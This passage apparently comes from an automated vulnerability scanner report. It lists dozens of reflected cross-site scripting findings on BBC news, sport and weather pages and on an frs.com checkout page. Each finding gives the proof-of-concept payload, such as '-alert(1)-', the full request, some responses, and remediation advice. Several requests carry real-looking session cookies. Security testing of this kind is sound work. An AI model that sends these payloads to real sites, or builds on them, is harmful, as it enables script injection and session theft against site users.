The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c5360'-alert(1)-'950e9af3059 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /sport2/hi/boxing/9293972.stm?c5360'-alert(1)-'950e9af3059=1 HTTP/1.1 Host: news.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close
2.31. http://news.bbc.co.uk/sport2/hi/cricket/9287509.stm [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://news.bbc.co.uk
Path:
/sport2/hi/cricket/9287509.stm
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 7a6c9'-alert(1)-'f9c94a68645 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /sport2/hi/cricket/9287509.stm?7a6c9'-alert(1)-'f9c94a68645=1 HTTP/1.1 Host: news.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close
2.32. http://news.bbc.co.uk/sport2/hi/cricket/other_international/australia/9294389.stm [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 1318a'-alert(1)-'91be32fdb6f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /sport2/hi/cricket/other_international/australia/9294389.stm?1318a'-alert(1)-'91be32fdb6f=1 HTTP/1.1 Host: news.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close
2.33. http://news.bbc.co.uk/sport2/hi/football/europe/9293627.stm [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://news.bbc.co.uk
Path:
/sport2/hi/football/europe/9293627.stm
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f8070'-alert(1)-'c12f6873c94 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /sport2/hi/football/europe/9293627.stm?f8070'-alert(1)-'c12f6873c94=1 HTTP/1.1 Host: news.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close
2.34. http://news.bbc.co.uk/sport2/hi/football/teams/c/chelsea/9295171.stm [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://news.bbc.co.uk
Path:
/sport2/hi/football/teams/c/chelsea/9295171.stm
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 272c4'-alert(1)-'11b4a23a8ab was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /sport2/hi/football/teams/c/chelsea/9295171.stm?272c4'-alert(1)-'11b4a23a8ab=1 HTTP/1.1 Host: news.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 7902e'-alert(1)-'472cd407139 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /sport2/hi/football/teams/m/motherwell/9294234.stm?7902e'-alert(1)-'472cd407139=1 HTTP/1.1 Host: news.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close
2.36. http://news.bbc.co.uk/sport2/hi/golf/9294562.stm [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://news.bbc.co.uk
Path:
/sport2/hi/golf/9294562.stm
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload aa485'-alert(1)-'09740cc8db was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /sport2/hi/golf/9294562.stm?aa485'-alert(1)-'09740cc8db=1 HTTP/1.1 Host: news.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close
2.37. http://news.bbc.co.uk/weather/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://news.bbc.co.uk
Path:
/weather/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 462dd'-alert(1)-'47f7f6e1ce0 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /weather/?462dd'-alert(1)-'47f7f6e1ce0=1 HTTP/1.1 Host: news.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 34b9d'-alert(1)-'b81e7bf2f3e was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /weather/forecast/34b9d'-alert(1)-'b81e7bf2f3e/ HTTP/1.1 Host: news.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: rsi_segs=J08781_10042|J08781_10139|J08781_10216|J08781_10277; BBC-UID=048de0da76396d645de62f03e16c7e10505ea811e050412f32a9f0fcf600f7a60Mozilla%2f4%2e0%20%28compatible%3b%20MSIE%207%2e0%3b%20Windows%20NT%206%2e0%3b%29; BBCWCW=*********************8*London*0***********1*v54_3; __qca=P0-1418742289-1292527596489;
Response
HTTP/1.1 200 OK Server: Apache Cache-Control: max-age=0 Content-Type: text/html; charset=UTF-8 Date: Thu, 16 Dec 2010 19:43:52 GMT Keep-Alive: timeout=10, max=740 Connection: close X-Powered-By: PHP/5.2.5 Content-Length: 58321
2.39. http://news.bbc.co.uk/weather/forecast/2098/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://news.bbc.co.uk
Path:
/weather/forecast/2098/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload bbbfe'-alert(1)-'68d7159b507 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /weather/forecast/2098/?bbbfe'-alert(1)-'68d7159b507=1 HTTP/1.1 Host: news.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: rsi_segs=J08781_10042|J08781_10139|J08781_10216|J08781_10277; BBC-UID=048de0da76396d645de62f03e16c7e10505ea811e050412f32a9f0fcf600f7a60Mozilla%2f4%2e0%20%28compatible%3b%20MSIE%207%2e0%3b%20Windows%20NT%206%2e0%3b%29; BBCWCW=*********************8*London*0***********1*v54_3; __qca=P0-1418742289-1292527596489;
Response
HTTP/1.1 200 OK Server: Apache Cache-Control: max-age=0 Content-Type: text/html; charset=UTF-8 Date: Thu, 16 Dec 2010 19:52:21 GMT Keep-Alive: timeout=10, max=774 Connection: close X-Powered-By: PHP/5.2.5 Content-Length: 59277
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 4c5e4'%3bf85b5a5c034 was submitted in the REST URL parameter 3. This input was echoed as 4c5e4';f85b5a5c034 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /weather/forecast/4c5e4'%3bf85b5a5c034/ HTTP/1.1 Host: news.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: rsi_segs=J08781_10042|J08781_10139|J08781_10216|J08781_10277; BBC-UID=048de0da76396d645de62f03e16c7e10505ea811e050412f32a9f0fcf600f7a60Mozilla%2f4%2e0%20%28compatible%3b%20MSIE%207%2e0%3b%20Windows%20NT%206%2e0%3b%29; BBCWCW=*********************8*London*0***********1*v54_3; __qca=P0-1418742289-1292527596489;
Response
HTTP/1.1 200 OK Server: Apache Cache-Control: max-age=0 Content-Type: text/html; charset=UTF-8 Date: Thu, 16 Dec 2010 19:47:19 GMT Keep-Alive: timeout=10, max=729 Connection: close X-Powered-By: PHP/5.2.5 Content-Length: 59300
2.41. http://news.bbc.co.uk/weather/forecast/2302/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://news.bbc.co.uk
Path:
/weather/forecast/2302/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d6a80'-alert(1)-'0a292c74b5d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /weather/forecast/2302/?d6a80'-alert(1)-'0a292c74b5d=1 HTTP/1.1 Host: news.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: rsi_segs=J08781_10042|J08781_10139|J08781_10216|J08781_10277; BBC-UID=048de0da76396d645de62f03e16c7e10505ea811e050412f32a9f0fcf600f7a60Mozilla%2f4%2e0%20%28compatible%3b%20MSIE%207%2e0%3b%20Windows%20NT%206%2e0%3b%29; BBCWCW=*********************8*London*0***********1*v54_3; __qca=P0-1418742289-1292527596489;
Response
HTTP/1.1 200 OK Server: Apache Cache-Control: max-age=0 Content-Type: text/html; charset=UTF-8 Date: Thu, 16 Dec 2010 19:52:19 GMT Keep-Alive: timeout=10, max=792 Connection: close X-Powered-By: PHP/5.2.5 Content-Length: 59165
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 961a6'%3balert(1)//9c8bd98f3f0 was submitted in the REST URL parameter 3. This input was echoed as 961a6';alert(1)//9c8bd98f3f0 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /weather/forecast/961a6'%3balert(1)//9c8bd98f3f0/ HTTP/1.1 Host: news.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: rsi_segs=J08781_10042|J08781_10139|J08781_10216|J08781_10277; BBC-UID=048de0da76396d645de62f03e16c7e10505ea811e050412f32a9f0fcf600f7a60Mozilla%2f4%2e0%20%28compatible%3b%20MSIE%207%2e0%3b%20Windows%20NT%206%2e0%3b%29; BBCWCW=*********************8*London*0***********1*v54_3; __qca=P0-1418742289-1292527596489;
Response
HTTP/1.1 200 OK Server: Apache Cache-Control: max-age=0 Content-Type: text/html; charset=UTF-8 Date: Thu, 16 Dec 2010 19:52:50 GMT Keep-Alive: timeout=10, max=469 Connection: close X-Powered-By: PHP/5.2.5 Content-Length: 58225
2.43. http://news.bbc.co.uk/weather/forecast/2389/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://news.bbc.co.uk
Path:
/weather/forecast/2389/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload db678'-alert(1)-'061c13003d1 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /weather/forecast/2389/?db678'-alert(1)-'061c13003d1=1 HTTP/1.1 Host: news.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: rsi_segs=J08781_10042|J08781_10139|J08781_10216|J08781_10277; BBC-UID=048de0da76396d645de62f03e16c7e10505ea811e050412f32a9f0fcf600f7a60Mozilla%2f4%2e0%20%28compatible%3b%20MSIE%207%2e0%3b%20Windows%20NT%206%2e0%3b%29; BBCWCW=*********************8*London*0***********1*v54_3; __qca=P0-1418742289-1292527596489;
Response
HTTP/1.1 200 OK Server: Apache Cache-Control: max-age=0 Content-Type: text/html; charset=UTF-8 Date: Thu, 16 Dec 2010 19:52:21 GMT Keep-Alive: timeout=10, max=799 Connection: close X-Powered-By: PHP/5.2.5 Content-Length: 59179
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 91e42'-alert(1)-'c6e009cacf4 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /weather/forecast/91e42'-alert(1)-'c6e009cacf4/ HTTP/1.1 Host: news.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: rsi_segs=J08781_10042|J08781_10139|J08781_10216|J08781_10277; BBC-UID=048de0da76396d645de62f03e16c7e10505ea811e050412f32a9f0fcf600f7a60Mozilla%2f4%2e0%20%28compatible%3b%20MSIE%207%2e0%3b%20Windows%20NT%206%2e0%3b%29; BBCWCW=*********************8*London*0***********1*v54_3; __qca=P0-1418742289-1292527596489;
Response
HTTP/1.1 200 OK Server: Apache Cache-Control: max-age=0 Content-Type: text/html; charset=UTF-8 Date: Thu, 16 Dec 2010 19:52:47 GMT Keep-Alive: timeout=10, max=764 Connection: close X-Powered-By: PHP/5.2.5 Content-Length: 58433
2.45. http://news.bbc.co.uk/weather/forecast/4296/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://news.bbc.co.uk
Path:
/weather/forecast/4296/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ca7b5'-alert(1)-'b50712ec32f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /weather/forecast/4296/?ca7b5'-alert(1)-'b50712ec32f=1 HTTP/1.1 Host: news.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: rsi_segs=J08781_10042|J08781_10139|J08781_10216|J08781_10277; BBC-UID=048de0da76396d645de62f03e16c7e10505ea811e050412f32a9f0fcf600f7a60Mozilla%2f4%2e0%20%28compatible%3b%20MSIE%207%2e0%3b%20Windows%20NT%206%2e0%3b%29; BBCWCW=*********************8*London*0***********1*v54_3; __qca=P0-1418742289-1292527596489;
Response
HTTP/1.1 200 OK Server: Apache Cache-Control: max-age=0 Content-Type: text/html; charset=UTF-8 Date: Thu, 16 Dec 2010 19:52:22 GMT Keep-Alive: timeout=10, max=799 Connection: close X-Powered-By: PHP/5.2.5 Content-Length: 59284
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e09c3'%3bd90af0d6ed8 was submitted in the REST URL parameter 3. This input was echoed as e09c3';d90af0d6ed8 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /weather/forecast/8e09c3'%3bd90af0d6ed8 HTTP/1.1 Host: news.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close
2.47. http://news.bbc.co.uk/weather/forecast/8 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://news.bbc.co.uk
Path:
/weather/forecast/8
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ca60e'-alert(1)-'5353458cb0 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /weather/forecast/8?ca60e'-alert(1)-'5353458cb0=1 HTTP/1.1 Host: news.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 44f24'%3b6d730b941e0 was submitted in the REST URL parameter 3. This input was echoed as 44f24';6d730b941e0 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /weather/forecast/844f24'%3b6d730b941e0/ HTTP/1.1 Host: news.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: rsi_segs=J08781_10042|J08781_10139|J08781_10216|J08781_10277; BBC-UID=048de0da76396d645de62f03e16c7e10505ea811e050412f32a9f0fcf600f7a60Mozilla%2f4%2e0%20%28compatible%3b%20MSIE%207%2e0%3b%20Windows%20NT%206%2e0%3b%29; BBCWCW=*********************8*London*0***********1*v54_3; __qca=P0-1418742289-1292527596489;
Response
HTTP/1.1 200 OK Server: Apache Cache-Control: max-age=0 Content-Type: text/html; charset=UTF-8 Date: Thu, 16 Dec 2010 19:52:49 GMT Keep-Alive: timeout=10, max=794 Connection: close X-Powered-By: PHP/5.2.5 Content-Length: 58355
2.49. http://news.bbc.co.uk/weather/forecast/8/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://news.bbc.co.uk
Path:
/weather/forecast/8/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload bacb0'-alert(1)-'b5094ca4d91 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /weather/forecast/8/?bacb0'-alert(1)-'b5094ca4d91=1 HTTP/1.1 Host: news.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: rsi_segs=J08781_10042|J08781_10139|J08781_10216|J08781_10277; BBC-UID=048de0da76396d645de62f03e16c7e10505ea811e050412f32a9f0fcf600f7a60Mozilla%2f4%2e0%20%28compatible%3b%20MSIE%207%2e0%3b%20Windows%20NT%206%2e0%3b%29; BBCWCW=*********************8*London*0***********1*v54_3; __qca=P0-1418742289-1292527596489;
Response
HTTP/1.1 200 OK Server: Apache Cache-Control: max-age=0 Content-Type: text/html; charset=UTF-8 Date: Thu, 16 Dec 2010 19:52:17 GMT Keep-Alive: timeout=10, max=793 Connection: close X-Powered-By: PHP/5.2.5 Content-Length: 59291
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6c2cd'%3b66886aa86f8 was submitted in the REST URL parameter 3. This input was echoed as 6c2cd';66886aa86f8 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /weather/forecast/86c2cd'%3b66886aa86f8/MapPresenterInner.json HTTP/1.1 Host: news.bbc.co.uk Proxy-Connection: keep-alive Referer: http://news.bbc.co.uk/weather/forecast/8 X-Requested-With: XMLHttpRequest Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: BBCWCW=*********************8*London*0***********1*v54_3; __qca=P0-1418742289-1292527596489; rsi_segs=J08781_10139|J08781_10277; BBC-UID=048de0da76396d645de62f03e16c7e10505ea811e050412f32a9f0fcf600f7a60Mozilla%2f4%2e0%20%28compatible%3b%20MSIE%207%2e0%3b%20Windows%20NT%206%2e0%3b%29
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c2900'%3bc641997d21a was submitted in the REST URL parameter 3. This input was echoed as c2900';c641997d21a in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /weather/forecast/8c2900'%3bc641997d21a/SearchResultsNode.xhtml HTTP/1.1 Host: news.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: rsi_segs=J08781_10042|J08781_10139|J08781_10216|J08781_10277; BBC-UID=048de0da76396d645de62f03e16c7e10505ea811e050412f32a9f0fcf600f7a60Mozilla%2f4%2e0%20%28compatible%3b%20MSIE%207%2e0%3b%20Windows%20NT%206%2e0%3b%29; BBCWCW=*********************8*London*0***********1*v54_3; __qca=P0-1418742289-1292527596489;
Response
HTTP/1.1 200 OK Server: Apache Cache-Control: max-age=0 Content-Type: text/html; charset=UTF-8 Date: Thu, 16 Dec 2010 19:47:30 GMT Keep-Alive: timeout=10, max=692 Connection: close X-Powered-By: PHP/5.2.5 Content-Length: 59502
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload dddef'%3balert(1)//b648af5ea8d was submitted in the REST URL parameter 3. This input was echoed as dddef';alert(1)//b648af5ea8d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /weather/forecast/8dddef'%3balert(1)//b648af5ea8d/SetPreference.xhtml HTTP/1.1 Host: news.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: rsi_segs=J08781_10042|J08781_10139|J08781_10216|J08781_10277; BBC-UID=048de0da76396d645de62f03e16c7e10505ea811e050412f32a9f0fcf600f7a60Mozilla%2f4%2e0%20%28compatible%3b%20MSIE%207%2e0%3b%20Windows%20NT%206%2e0%3b%29; BBCWCW=*********************8*London*0***********1*v54_3; __qca=P0-1418742289-1292527596489;
Response
HTTP/1.1 200 OK Server: Apache Cache-Control: max-age=0 Content-Type: text/html; charset=UTF-8 Date: Thu, 16 Dec 2010 19:47:24 GMT Keep-Alive: timeout=10, max=800 Connection: close X-Powered-By: PHP/5.2.5 Content-Length: 59538
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 64a4b'%3ba82e0c463ad was submitted in the REST URL parameter 3. This input was echoed as 64a4b';a82e0c463ad in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /weather/forecast/64a4b'%3ba82e0c463ad HTTP/1.1 Host: news.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close
2.54. https://secure.frs.com/freetrial/3offer50pct/FTDirect.aspx [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
https://secure.frs.com
Path:
/freetrial/3offer50pct/FTDirect.aspx
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a0815'-alert(1)-'54f90c4aa82 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /freetrial/3offer50pct/FTDirect.aspx?a0815'-alert(1)-'54f90c4aa82=1 HTTP/1.1 Host: secure.frs.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: AspxAutoDetectCookieSupport=1; FRSStore=UserId=18940695&SessionId=USsbEWL5M2AA9UJ442wT; ASP.NET_SessionId=tteix3bg50kknfg0wnoeksag;
Response
HTTP/1.1 200 OK Connection: close Date: Thu, 16 Dec 2010 19:59:59 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 4.0.30319 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 26990
<!-- Google Website Optimizer Control Script --> <!-- End of Google Website Optimizer Control Script -->
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/ ...[SNIP]... <script type="text/javascript"> AnalyticsService.LogVisit('tteix3bg50kknfg0wnoeksag', '/freetrial/3offer50pct/FTDirect.aspx?a0815'-alert(1)-'54f90c4aa82=1'); </script> ...[SNIP]...
2.55. https://secure.frs.com/freetrial/3offer50pct/cart1.aspx [name of an arbitrarily supplied request parameter]previousnext
Summary
